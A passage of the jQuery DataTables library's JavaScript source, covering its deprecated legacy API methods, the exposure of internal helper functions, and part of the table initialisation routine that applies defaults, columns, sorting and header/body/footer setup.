oSettings._iDisplayStart );\n\t\t *    } );\n\t\t */\n\t\tthis.fnSettings = function()\n\t\t{\n\t\t\treturn _fnSettingsFromNode( this[_ext.iApiIndex] );\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Sort the table by a particular column\n\t\t *  @param {int} iCol the data index to sort on. Note that this will not match the\n\t\t *    'display index' if you have hidden data entries\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Sort immediately with columns 0 and 1\n\t\t *      oTable.fnSort( [ [0,'asc'], [1,'asc'] ] );\n\t\t *    } );\n\t\t */\n\t\tthis.fnSort = function( aaSort )\n\t\t{\n\t\t\tthis.api( true ).order( aaSort ).draw();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Attach a sort listener to an element for a given column\n\t\t *  @param {node} nNode the element to attach the sort listener to\n\t\t *  @param {int} iColumn the column that a click on this node will sort on\n\t\t *  @param {function} [fnCallback] callback function when sort is run\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Sort on column 1, when 'sorter' is clicked on\n\t\t *      oTable.fnSortListener( document.getElementById('sorter'), 1 );\n\t\t *    } );\n\t\t */\n\t\tthis.fnSortListener = function( nNode, iColumn, fnCallback )\n\t\t{\n\t\t\tthis.api( true ).order.listener( nNode, iColumn, fnCallback );\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Update a table cell or row - this method will accept either a single value to\n\t\t * update the cell with, an array of values with one element for each column or\n\t\t * an object in the same format as the original data source. The function is\n\t\t * self-referencing in order to make the multi column updates easier.\n\t\t *  @param {object|array|string} mData Data to update the cell/row with\n\t\t *  @param {node|int} mRow TR element you want to update or the aoData index\n\t\t *  @param {int} [iColumn] The column to update, give as null or undefined to\n\t\t *    update a whole row.\n\t\t *  @param {bool} [bRedraw=true] Redraw the table or not\n\t\t *  @param {bool} [bAction=true] Perform pre-draw actions or not\n\t\t *  @returns {int} 0 on success, 1 on error\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *      oTable.fnUpdate( 'Example update', 0, 0 ); // Single cell\n\t\t *      oTable.fnUpdate( ['a', 'b', 'c', 'd', 'e'], $('tbody tr')[0] ); // Row\n\t\t *    } );\n\t\t */\n\t\tthis.fnUpdate = function( mData, mRow, iColumn, bRedraw, bAction )\n\t\t{\n\t\t\tvar api = this.api( true );\n\t\t\n\t\t\tif ( iColumn === undefined || iColumn === null ) {\n\t\t\t\tapi.row( mRow ).data( mData );\n\t\t\t}\n\t\t\telse {\n\t\t\t\tapi.cell( mRow, iColumn ).data( mData );\n\t\t\t}\n\t\t\n\t\t\tif ( bAction === undefined || bAction ) {\n\t\t\t\tapi.columns.adjust();\n\t\t\t}\n\t\t\n\t\t\tif ( bRedraw === undefined || bRedraw ) {\n\t\t\t\tapi.draw();\n\t\t\t}\n\t\t\treturn 0;\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Provide a common method for plug-ins to check the version of DataTables being used, in order\n\t\t * to ensure compatibility.\n\t\t *  @param {string} sVersion Version string to check for, in the format \"X.Y.Z\". Note that the\n\t\t *    formats \"X\" and \"X.Y\" are also acceptable.\n\t\t *  @returns {boolean} true if this version of DataTables is greater or equal to the required\n\t\t *    version, or false if this version of DataTales is not suitable\n\t\t *  @method\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *      alert( oTable.fnVersionCheck( '1.9.0' ) );\n\t\t *    } );\n\t\t */\n\t\tthis.fnVersionCheck = _ext.fnVersionCheck;\n\t\t\n\t\t\n\t\t/*\n\t\t * This is really a good bit rubbish this method of exposing the internal methods\n\t\t * publicly... - To be fixed in 2.0 using methods on the prototype\n\t\t */\n\t\t\n\t\t\n\t\t/**\n\t\t * Create a wrapper function for exporting an internal functions to an external API.\n\t\t *  @param {string} fn API function name\n\t\t *  @returns {function} wrapped function\n\t\t *  @memberof DataTable#internal\n\t\t */\n\t\tfunction _fnExternApiFunc (fn)\n\t\t{\n\t\t\treturn function() {\n\t\t\t\tvar args = [_fnSettingsFromNode( this[DataTable.ext.iApiIndex] )].concat(\n\t\t\t\t\tArray.prototype.slice.call(arguments)\n\t\t\t\t);\n\t\t\t\treturn DataTable.ext.internal[fn].apply( this, args );\n\t\t\t};\n\t\t}\n\t\t\n\t\t\n\t\t/**\n\t\t * Reference to internal functions for use by plug-in developers. Note that\n\t\t * these methods are references to internal functions and are considered to be\n\t\t * private. If you use these methods, be aware that they are liable to change\n\t\t * between versions.\n\t\t *  @namespace\n\t\t */\n\t\tthis.oApi = this.internal = {\n\t\t\t_fnExternApiFunc: _fnExternApiFunc,\n\t\t\t_fnBuildAjax: _fnBuildAjax,\n\t\t\t_fnAjaxUpdate: _fnAjaxUpdate,\n\t\t\t_fnAjaxParameters: _fnAjaxParameters,\n\t\t\t_fnAjaxUpdateDraw: _fnAjaxUpdateDraw,\n\t\t\t_fnAjaxDataSrc: _fnAjaxDataSrc,\n\t\t\t_fnAddColumn: _fnAddColumn,\n\t\t\t_fnColumnOptions: _fnColumnOptions,\n\t\t\t_fnAdjustColumnSizing: _fnAdjustColumnSizing,\n\t\t\t_fnVisibleToColumnIndex: _fnVisibleToColumnIndex,\n\t\t\t_fnColumnIndexToVisible: _fnColumnIndexToVisible,\n\t\t\t_fnVisbleColumns: _fnVisbleColumns,\n\t\t\t_fnGetColumns: _fnGetColumns,\n\t\t\t_fnColumnTypes: _fnColumnTypes,\n\t\t\t_fnApplyColumnDefs: _fnApplyColumnDefs,\n\t\t\t_fnHungarianMap: _fnHungarianMap,\n\t\t\t_fnCamelToHungarian: _fnCamelToHungarian,\n\t\t\t_fnLanguageCompat: _fnLanguageCompat,\n\t\t\t_fnBrowserDetect: _fnBrowserDetect,\n\t\t\t_fnAddData: _fnAddData,\n\t\t\t_fnAddTr: _fnAddTr,\n\t\t\t_fnNodeToDataIndex: _fnNodeToDataIndex,\n\t\t\t_fnNodeToColumnIndex: _fnNodeToColumnIndex,\n\t\t\t_fnGetRowData: _fnGetRowData,\n\t\t\t_fnGetCellData: _fnGetCellData,\n\t\t\t_fnSetCellData: _fnSetCellData,\n\t\t\t_fnSplitObjNotation: _fnSplitObjNotation,\n\t\t\t_fnGetObjectDataFn: _fnGetObjectDataFn,\n\t\t\t_fnSetObjectDataFn: _fnSetObjectDataFn,\n\t\t\t_fnGetDataMaster: _fnGetDataMaster,\n\t\t\t_fnClearTable: _fnClearTable,\n\t\t\t_fnDeleteIndex: _fnDeleteIndex,\n\t\t\t_fnInvalidateRow: _fnInvalidateRow,\n\t\t\t_fnGetRowElements: _fnGetRowElements,\n\t\t\t_fnCreateTr: _fnCreateTr,\n\t\t\t_fnBuildHead: _fnBuildHead,\n\t\t\t_fnDrawHead: _fnDrawHead,\n\t\t\t_fnDraw: _fnDraw,\n\t\t\t_fnReDraw: _fnReDraw,\n\t\t\t_fnAddOptionsHtml: _fnAddOptionsHtml,\n\t\t\t_fnDetectHeader: _fnDetectHeader,\n\t\t\t_fnGetUniqueThs: _fnGetUniqueThs,\n\t\t\t_fnFeatureHtmlFilter: _fnFeatureHtmlFilter,\n\t\t\t_fnFilterComplete: _fnFilterComplete,\n\t\t\t_fnFilterCustom: _fnFilterCustom,\n\t\t\t_fnFilterColumn: _fnFilterColumn,\n\t\t\t_fnFilter: _fnFilter,\n\t\t\t_fnFilterCreateSearch: _fnFilterCreateSearch,\n\t\t\t_fnEscapeRegex: _fnEscapeRegex,\n\t\t\t_fnFilterData: _fnFilterData,\n\t\t\t_fnFeatureHtmlInfo: _fnFeatureHtmlInfo,\n\t\t\t_fnUpdateInfo: _fnUpdateInfo,\n\t\t\t_fnInfoMacros: _fnInfoMacros,\n\t\t\t_fnInitialise: _fnInitialise,\n\t\t\t_fnInitComplete: _fnInitComplete,\n\t\t\t_fnLengthChange: _fnLengthChange,\n\t\t\t_fnFeatureHtmlLength: _fnFeatureHtmlLength,\n\t\t\t_fnFeatureHtmlPaginate: _fnFeatureHtmlPaginate,\n\t\t\t_fnPageChange: _fnPageChange,\n\t\t\t_fnFeatureHtmlProcessing: _fnFeatureHtmlProcessing,\n\t\t\t_fnProcessingDisplay: _fnProcessingDisplay,\n\t\t\t_fnFeatureHtmlTable: _fnFeatureHtmlTable,\n\t\t\t_fnScrollDraw: _fnScrollDraw,\n\t\t\t_fnApplyToChildren: _fnApplyToChildren,\n\t\t\t_fnCalculateColumnWidths: _fnCalculateColumnWidths,\n\t\t\t_fnThrottle: _fnThrottle,\n\t\t\t_fnConvertToWidth: _fnConvertToWidth,\n\t\t\t_fnScrollingWidthAdjust: _fnScrollingWidthAdjust,\n\t\t\t_fnGetWidestNode: _fnGetWidestNode,\n\t\t\t_fnGetMaxLenString: _fnGetMaxLenString,\n\t\t\t_fnStringToCss: _fnStringToCss,\n\t\t\t_fnScrollBarWidth: _fnScrollBarWidth,\n\t\t\t_fnSortFlatten: _fnSortFlatten,\n\t\t\t_fnSort: _fnSort,\n\t\t\t_fnSortAria: _fnSortAria,\n\t\t\t_fnSortListener: _fnSortListener,\n\t\t\t_fnSortAttachListener: _fnSortAttachListener,\n\t\t\t_fnSortingClasses: _fnSortingClasses,\n\t\t\t_fnSortData: _fnSortData,\n\t\t\t_fnSaveState: _fnSaveState,\n\t\t\t_fnLoadState: _fnLoadState,\n\t\t\t_fnSettingsFromNode: _fnSettingsFromNode,\n\t\t\t_fnLog: _fnLog,\n\t\t\t_fnMap: _fnMap,\n\t\t\t_fnBindAction: _fnBindAction,\n\t\t\t_fnCallbackReg: _fnCallbackReg,\n\t\t\t_fnCallbackFire: _fnCallbackFire,\n\t\t\t_fnLengthOverflow: _fnLengthOverflow,\n\t\t\t_fnRenderer: _fnRenderer,\n\t\t\t_fnDataSource: _fnDataSource,\n\t\t\t_fnRowAttributes: _fnRowAttributes\n\t\t};\n\t\t\n\t\t$.extend( DataTable.ext.internal, this.internal );\n\t\t\n\t\tfor ( var fn in DataTable.ext.internal ) {\n\t\t\tif ( fn ) {\n\t\t\t\tthis[fn] = _fnExternApiFunc(fn);\n\t\t\t}\n\t\t}\n\t\t\n\n\t\tvar _that = this;\n\t\tvar emptyInit = options === undefined;\n\t\tvar len = this.length;\n\n\t\tif ( emptyInit ) {\n\t\t\toptions = {};\n\t\t}\n\n\t\tthis.each(function() {\n\t\t\t// For each initialisation we want to give it a clean initialisation\n\t\t\t// object that can be bashed around\n\t\t\tvar o = {};\n\t\t\tvar oInit = len > 1 ? // optimisation for single table case\n\t\t\t\t_fnExtend( o, options, true ) :\n\t\t\t\toptions;\n\n\t\t\t/*global oInit,_that,emptyInit*/\n\t\t\tvar i=0, iLen, j, jLen, k, kLen;\n\t\t\tvar sId = this.getAttribute( 'id' );\n\t\t\tvar bInitHandedOff = false;\n\t\t\tvar defaults = DataTable.defaults;\n\t\t\t\n\t\t\t\n\t\t\t/* Sanity check */\n\t\t\tif ( this.nodeName.toLowerCase() != 'table' )\n\t\t\t{\n\t\t\t\t_fnLog( null, 0, 'Non-table node initialisation ('+this.nodeName+')', 2 );\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t/* Backwards compatibility for the defaults */\n\t\t\t_fnCompatOpts( defaults );\n\t\t\t_fnCompatCols( defaults.column );\n\t\t\t\n\t\t\t/* Convert the camel-case defaults to Hungarian */\n\t\t\t_fnCamelToHungarian( defaults, defaults, true );\n\t\t\t_fnCamelToHungarian( defaults.column, defaults.column, true );\n\t\t\t\n\t\t\t/* Setting up the initialisation object */\n\t\t\t_fnCamelToHungarian( defaults, oInit );\n\t\t\t\n\t\t\t/* Check to see if we are re-initialising a table */\n\t\t\tvar allSettings = DataTable.settings;\n\t\t\tfor ( i=0, iLen=allSettings.length ; i<iLen ; i++ )\n\t\t\t{\n\t\t\t\t/* Base check on table node */\n\t\t\t\tif ( allSettings[i].nTable == this )\n\t\t\t\t{\n\t\t\t\t\tvar bRetrieve = oInit.bRetrieve !== undefined ? oInit.bRetrieve : defaults.bRetrieve;\n\t\t\t\t\tvar bDestroy = oInit.bDestroy !== undefined ? oInit.bDestroy : defaults.bDestroy;\n\t\t\t\n\t\t\t\t\tif ( emptyInit || bRetrieve )\n\t\t\t\t\t{\n\t\t\t\t\t\treturn allSettings[i].oInstance;\n\t\t\t\t\t}\n\t\t\t\t\telse if ( bDestroy )\n\t\t\t\t\t{\n\t\t\t\t\t\tallSettings[i].oInstance.fnDestroy();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t_fnLog( allSettings[i], 0, 'Cannot reinitialise DataTable', 3 );\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\t/* If the element we are initialising has the same ID as a table which was previously\n\t\t\t\t * initialised, but the table nodes don't match (from before) then we destroy the old\n\t\t\t\t * instance by simply deleting it. This is under the assumption that the table has been\n\t\t\t\t * destroyed by other methods. Anyone using non-id selectors will need to do this manually\n\t\t\t\t */\n\t\t\t\tif ( allSettings[i].sTableId == this.id )\n\t\t\t\t{\n\t\t\t\t\tallSettings.splice( i, 1 );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t/* Ensure the table has an ID - required for accessibility */\n\t\t\tif ( sId === null || sId === \"\" )\n\t\t\t{\n\t\t\t\tsId = \"DataTables_Table_\"+(DataTable.ext._unique++);\n\t\t\t\tthis.id = sId;\n\t\t\t}\n\t\t\t\n\t\t\t/* Create the settings object for this table and set some of the default parameters */\n\t\t\tvar oSettings = $.extend( true, {}, DataTable.models.oSettings, {\n\t\t\t\t\"nTable\":        this,\n\t\t\t\t\"oApi\":          _that.internal,\n\t\t\t\t\"oInit\":         oInit,\n\t\t\t\t\"sDestroyWidth\": $(this)[0].style.width,\n\t\t\t\t\"sInstance\":     sId,\n\t\t\t\t\"sTableId\":      sId\n\t\t\t} );\n\t\t\tallSettings.push( oSettings );\n\t\t\t\n\t\t\t// Need to add the instance after the instance after the settings object has been added\n\t\t\t// to the settings array, so we can self reference the table instance if more than one\n\t\t\toSettings.oInstance = (_that.length===1) ? _that : $(this).dataTable();\n\t\t\t\n\t\t\t// Backwards compatibility, before we apply all the defaults\n\t\t\t_fnCompatOpts( oInit );\n\t\t\t\n\t\t\tif ( oInit.oLanguage )\n\t\t\t{\n\t\t\t\t_fnLanguageCompat( oInit.oLanguage );\n\t\t\t}\n\t\t\t\n\t\t\t// If the length menu is given, but the init display length is not, use the length menu\n\t\t\tif ( oInit.aLengthMenu && ! oInit.iDisplayLength )\n\t\t\t{\n\t\t\t\toInit.iDisplayLength = $.isArray( oInit.aLengthMenu[0] ) ?\n\t\t\t\t\toInit.aLengthMenu[0][0] : oInit.aLengthMenu[0];\n\t\t\t}\n\t\t\t\n\t\t\t// Apply the defaults and init options to make a single init object will all\n\t\t\t// options defined from defaults and instance options.\n\t\t\toInit = _fnExtend( $.extend( true, {}, defaults ), oInit );\n\t\t\t\n\t\t\t\n\t\t\t// Map the initialisation options onto the settings object\n\t\t\t_fnMap( oSettings.oFeatures, oInit, [\n\t\t\t\t\"bPaginate\",\n\t\t\t\t\"bLengthChange\",\n\t\t\t\t\"bFilter\",\n\t\t\t\t\"bSort\",\n\t\t\t\t\"bSortMulti\",\n\t\t\t\t\"bInfo\",\n\t\t\t\t\"bProcessing\",\n\t\t\t\t\"bAutoWidth\",\n\t\t\t\t\"bSortClasses\",\n\t\t\t\t\"bServerSide\",\n\t\t\t\t\"bDeferRender\"\n\t\t\t] );\n\t\t\t_fnMap( oSettings, oInit, [\n\t\t\t\t\"asStripeClasses\",\n\t\t\t\t\"ajax\",\n\t\t\t\t\"fnServerData\",\n\t\t\t\t\"fnFormatNumber\",\n\t\t\t\t\"sServerMethod\",\n\t\t\t\t\"aaSorting\",\n\t\t\t\t\"aaSortingFixed\",\n\t\t\t\t\"aLengthMenu\",\n\t\t\t\t\"sPaginationType\",\n\t\t\t\t\"sAjaxSource\",\n\t\t\t\t\"sAjaxDataProp\",\n\t\t\t\t\"iStateDuration\",\n\t\t\t\t\"sDom\",\n\t\t\t\t\"bSortCellsTop\",\n\t\t\t\t\"iTabIndex\",\n\t\t\t\t\"fnStateLoadCallback\",\n\t\t\t\t\"fnStateSaveCallback\",\n\t\t\t\t\"renderer\",\n\t\t\t\t[ \"iCookieDuration\", \"iStateDuration\" ], // backwards compat\n\t\t\t\t[ \"oSearch\", \"oPreviousSearch\" ],\n\t\t\t\t[ \"aoSearchCols\", \"aoPreSearchCols\" ],\n\t\t\t\t[ \"iDisplayLength\", \"_iDisplayLength\" ],\n\t\t\t\t[ \"bJQueryUI\", \"bJUI\" ]\n\t\t\t] );\n\t\t\t_fnMap( oSettings.oScroll, oInit, [\n\t\t\t\t[ \"sScrollX\", \"sX\" ],\n\t\t\t\t[ \"sScrollXInner\", \"sXInner\" ],\n\t\t\t\t[ \"sScrollY\", \"sY\" ],\n\t\t\t\t[ \"bScrollCollapse\", \"bCollapse\" ]\n\t\t\t] );\n\t\t\t_fnMap( oSettings.oLanguage, oInit, \"fnInfoCallback\" );\n\t\t\t\n\t\t\t/* Callback functions which are array driven */\n\t\t\t_fnCallbackReg( oSettings, 'aoDrawCallback',       oInit.fnDrawCallback,      'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoServerParams',       oInit.fnServerParams,      'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoStateSaveParams',    oInit.fnStateSaveParams,   'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoStateLoadParams',    oInit.fnStateLoadParams,   'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoStateLoaded',        oInit.fnStateLoaded,       'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoRowCallback',        oInit.fnRowCallback,       'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoRowCreatedCallback', oInit.fnCreatedRow,        'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoHeaderCallback',     oInit.fnHeaderCallback,    'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoFooterCallback',     oInit.fnFooterCallback,    'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoInitComplete',       oInit.fnInitComplete,      'user' );\n\t\t\t_fnCallbackReg( oSettings, 'aoPreDrawCallback',    oInit.fnPreDrawCallback,   'user' );\n\t\t\t\n\t\t\t// @todo Remove in 1.11\n\t\t\tif ( oInit.bJQueryUI )\n\t\t\t{\n\t\t\t\t/* Use the JUI classes object for display. You could clone the oStdClasses object if\n\t\t\t\t * you want to have multiple tables with multiple independent classes\n\t\t\t\t */\n\t\t\t\t$.extend( oSettings.oClasses, DataTable.ext.oJUIClasses, oInit.oClasses );\n\t\t\t\n\t\t\t\tif ( oInit.sDom === defaults.sDom && defaults.sDom === \"lfrtip\" )\n\t\t\t\t{\n\t\t\t\t\t/* Set the DOM to use a layout suitable for jQuery UI's theming */\n\t\t\t\t\toSettings.sDom = '<\"H\"lfr>t<\"F\"ip>';\n\t\t\t\t}\n\t\t\t\n\t\t\t\tif ( ! oSettings.renderer ) {\n\t\t\t\t\toSettings.renderer = 'jqueryui';\n\t\t\t\t}\n\t\t\t\telse if ( $.isPlainObject( oSettings.renderer ) && ! oSettings.renderer.header ) {\n\t\t\t\t\toSettings.renderer.header = 'jqueryui';\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$.extend( oSettings.oClasses, DataTable.ext.classes, oInit.oClasses );\n\t\t\t}\n\t\t\t$(this).addClass( oSettings.oClasses.sTable );\n\t\t\t\n\t\t\t/* Calculate the scroll bar width and cache it for use later on */\n\t\t\tif ( oSettings.oScroll.sX !== \"\" || oSettings.oScroll.sY !== \"\" )\n\t\t\t{\n\t\t\t\toSettings.oScroll.iBarWidth = _fnScrollBarWidth();\n\t\t\t}\n\t\t\tif ( oSettings.oScroll.sX === true ) { // Easy initialisation of x-scrolling\n\t\t\t\toSettings.oScroll.sX = '100%';\n\t\t\t}\n\t\t\t\n\t\t\tif ( oSettings.iInitDisplayStart === undefined )\n\t\t\t{\n\t\t\t\t/* Display start point, taking into account the save saving */\n\t\t\t\toSettings.iInitDisplayStart = oInit.iDisplayStart;\n\t\t\t\toSettings._iDisplayStart = oInit.iDisplayStart;\n\t\t\t}\n\t\t\t\n\t\t\tif ( oInit.iDeferLoading !== null )\n\t\t\t{\n\t\t\t\toSettings.bDeferLoading = true;\n\t\t\t\tvar tmp = $.isArray( oInit.iDeferLoading );\n\t\t\t\toSettings._iRecordsDisplay = tmp ? oInit.iDeferLoading[0] : oInit.iDeferLoading;\n\t\t\t\toSettings._iRecordsTotal = tmp ? oInit.iDeferLoading[1] : oInit.iDeferLoading;\n\t\t\t}\n\t\t\t\n\t\t\t/* Language definitions */\n\t\t\tif ( oInit.oLanguage.sUrl !== \"\" )\n\t\t\t{\n\t\t\t\t/* Get the language definitions from a file - because this Ajax call makes the language\n\t\t\t\t * get async to the remainder of this function we use bInitHandedOff to indicate that\n\t\t\t\t * _fnInitialise will be fired by the returned Ajax handler, rather than the constructor\n\t\t\t\t */\n\t\t\t\toSettings.oLanguage.sUrl = oInit.oLanguage.sUrl;\n\t\t\t\t$.getJSON( oSettings.oLanguage.sUrl, null, function( json ) {\n\t\t\t\t\t_fnLanguageCompat( json );\n\t\t\t\t\t_fnCamelToHungarian( defaults.oLanguage, json );\n\t\t\t\t\t$.extend( true, oSettings.oLanguage, oInit.oLanguage, json );\n\t\t\t\t\t_fnInitialise( oSettings );\n\t\t\t\t} );\n\t\t\t\tbInitHandedOff = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$.extend( true, oSettings.oLanguage, oInit.oLanguage );\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t/*\n\t\t\t * Stripes\n\t\t\t */\n\t\t\tif ( oInit.asStripeClasses === null )\n\t\t\t{\n\t\t\t\toSettings.asStripeClasses =[\n\t\t\t\t\toSettings.oClasses.sStripeOdd,\n\t\t\t\t\toSettings.oClasses.sStripeEven\n\t\t\t\t];\n\t\t\t}\n\t\t\t\n\t\t\t/* Remove row stripe classes if they are already on the table row */\n\t\t\tvar stripeClasses = oSettings.asStripeClasses;\n\t\t\tvar rowOne = $('tbody tr:eq(0)', this);\n\t\t\tif ( $.inArray( true, $.map( stripeClasses, function(el, i) {\n\t\t\t\treturn rowOne.hasClass(el);\n\t\t\t} ) ) !== -1 ) {\n\t\t\t\t$('tbody tr', this).removeClass( stripeClasses.join(' ') );\n\t\t\t\toSettings.asDestroyStripes = stripeClasses.slice();\n\t\t\t}\n\t\t\t\n\t\t\t/*\n\t\t\t * Columns\n\t\t\t * See if we should load columns automatically or use defined ones\n\t\t\t */\n\t\t\tvar anThs = [];\n\t\t\tvar aoColumnsInit;\n\t\t\tvar nThead = this.getElementsByTagName('thead');\n\t\t\tif ( nThead.length !== 0 )\n\t\t\t{\n\t\t\t\t_fnDetectHeader( oSettings.aoHeader, nThead[0] );\n\t\t\t\tanThs = _fnGetUniqueThs( oSettings );\n\t\t\t}\n\t\t\t\n\t\t\t/* If not given a column array, generate one with nulls */\n\t\t\tif ( oInit.aoColumns === null )\n\t\t\t{\n\t\t\t\taoColumnsInit = [];\n\t\t\t\tfor ( i=0, iLen=anThs.length ; i<iLen ; i++ )\n\t\t\t\t{\n\t\t\t\t\taoColumnsInit.push( null );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\taoColumnsInit = oInit.aoColumns;\n\t\t\t}\n\t\t\t\n\t\t\t/* Add the columns */\n\t\t\tfor ( i=0, iLen=aoColumnsInit.length ; i<iLen ; i++ )\n\t\t\t{\n\t\t\t\t_fnAddColumn( oSettings, anThs ? anThs[i] : null );\n\t\t\t}\n\t\t\t\n\t\t\t/* Apply the column definitions */\n\t\t\t_fnApplyColumnDefs( oSettings, oInit.aoColumnDefs, aoColumnsInit, function (iCol, oDef) {\n\t\t\t\t_fnColumnOptions( oSettings, iCol, oDef );\n\t\t\t} );\n\t\t\t\n\t\t\t/* HTML5 attribute detection - build an mData object automatically if the\n\t\t\t * attributes are found\n\t\t\t */\n\t\t\tif ( rowOne.length ) {\n\t\t\t\tvar a = function ( cell, name ) {\n\t\t\t\t\treturn cell.getAttribute( 'data-'+name ) ? name : null;\n\t\t\t\t};\n\t\t\t\n\t\t\t\t$.each( _fnGetRowElements( oSettings, rowOne[0] ).cells, function (i, cell) {\n\t\t\t\t\tvar col = oSettings.aoColumns[i];\n\t\t\t\n\t\t\t\t\tif ( col.mData === i ) {\n\t\t\t\t\t\tvar sort = a( cell, 'sort' ) || a( cell, 'order' );\n\t\t\t\t\t\tvar filter = a( cell, 'filter' ) || a( cell, 'search' );\n\t\t\t\n\t\t\t\t\t\tif ( sort !== null || filter !== null ) {\n\t\t\t\t\t\t\tcol.mData = {\n\t\t\t\t\t\t\t\t_:      i+'.display',\n\t\t\t\t\t\t\t\tsort:   sort !== null   ? i+'.@data-'+sort   : undefined,\n\t\t\t\t\t\t\t\ttype:   sort !== null   ? i+'.@data-'+sort   : undefined,\n\t\t\t\t\t\t\t\tfilter: filter !== null ? i+'.@data-'+filter : undefined\n\t\t\t\t\t\t\t};\n\t\t\t\n\t\t\t\t\t\t\t_fnColumnOptions( oSettings, i );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t/* Must be done after everything which can be overridden by the state saving! */\n\t\t\tif ( oInit.bStateSave )\n\t\t\t{\n\t\t\t\toSettings.oFeatures.bStateSave = true;\n\t\t\t\t_fnLoadState( oSettings, oInit );\n\t\t\t\t_fnCallbackReg( oSettings, 'aoDrawCallback', _fnSaveState, 'state_save' );\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t/*\n\t\t\t * Sorting\n\t\t\t * @todo For modularisation (1.11) this needs to do into a sort start up handler\n\t\t\t */\n\t\t\t\n\t\t\t// If aaSorting is not defined, then we use the first indicator in asSorting\n\t\t\t// in case that has been altered, so the default sort reflects that option\n\t\t\tif ( oInit.aaSorting === undefined )\n\t\t\t{\n\t\t\t\tfor ( i=0, iLen=oSettings.aaSorting.length ; i<iLen ; i++ )\n\t\t\t\t{\n\t\t\t\t\toSettings.aaSorting[i][1] = oSettings.aoColumns[ i ].asSorting[0];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t/* Do a first pass on the sorting classes (allows any size changes to be taken into\n\t\t\t * account, and also will apply sorting disabled classes if disabled\n\t\t\t */\n\t\t\t_fnSortingClasses( oSettings );\n\t\t\t\n\t\t\tif ( oSettings.oFeatures.bSort )\n\t\t\t{\n\t\t\t\t_fnCallbackReg( oSettings, 'aoDrawCallback', function () {\n\t\t\t\t\tif ( oSettings.bSorted ) {\n\t\t\t\t\t\tvar aSort = _fnSortFlatten( oSettings );\n\t\t\t\t\t\tvar sortedColumns = {};\n\t\t\t\n\t\t\t\t\t\t$.each( aSort, function (i, val) {\n\t\t\t\t\t\t\tsortedColumns[ val.src ] = val.dir;\n\t\t\t\t\t\t} );\n\t\t\t\n\t\t\t\t\t\t_fnCallbackFire( oSettings, null, 'order', [oSettings, aSort, sortedColumns] );\n\t\t\t\t\t\t_fnSortingClasses( oSettings );\n\t\t\t\t\t\t_fnSortAria( oSettings );\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t/*\n\t\t\t * Final init\n\t\t\t * Cache the header, body and footer as required, creating them if needed\n\t\t\t */\n\t\t\t\n\t\t\t/* Browser support detection */\n\t\t\t_fnBrowserDetect( oSettings );\n\t\t\t\n\t\t\t// Work around for Webkit bug 83867 - store the caption-side before removing from doc\n\t\t\tvar captions = $(this).children('caption').each( function () {\n\t\t\t\tthis._captionSide = $(this).css('caption-side');\n\t\t\t} );\n\t\t\t\n\t\t\tvar thead = $(this).children('thead');\n\t\t\tif ( thead.length === 0 )\n\t\t\t{\n\t\t\t\tthead = $('<thead/>').appendTo(this);\n\t\t\t}\n\t\t\toSettings.nTHead = thead[0];\n\t\t\t\n\t\t\tvar tbody = $(this).children('tbody');\n\t\t\tif ( tbody.length === 0 )\n\t\t\t{\n\t\t\t\ttbody = $('<tbody/>').appendTo(this);\n\t\t\t}\n\t\t\toSettings.nTBody = tbody[0];\n\t\t\t\n\t\t\tvar tfoot = $(this).children('tfoot');\n\t\t\tif ( tfoot.length === 0 && captions.length > 0 && (oSettings.oScroll.sX !== \"\" || oSettings.oScroll.sY !== \"\") )\n\t\t\t{\n\t\t\t\t// If we are a scrolling table, and no footer has been given, then we need to create\n\t\t\t\t// a tfoot element for the caption element to be appended to\n\t\t\t\ttfoot = $('<tfoot/>').appendTo(this);\n\t\t\t}\n\t\t\t\n\t\t\tif ( tfoot.length === 0 || tfoot.children().length === 0 ) {\n\t\t\t\t$(this).addClass( oSettings.oClasses.sNoFooter );\n\t\t\t}\n\t\t\telse if ( tfoot.length > 0 ) {\n\t\t\t\toSettings.nTFoot = tfoot[0];\n\t\t\t\t_fnDetectHeader( oSettings.aoFooter, oSettings.nTFoot 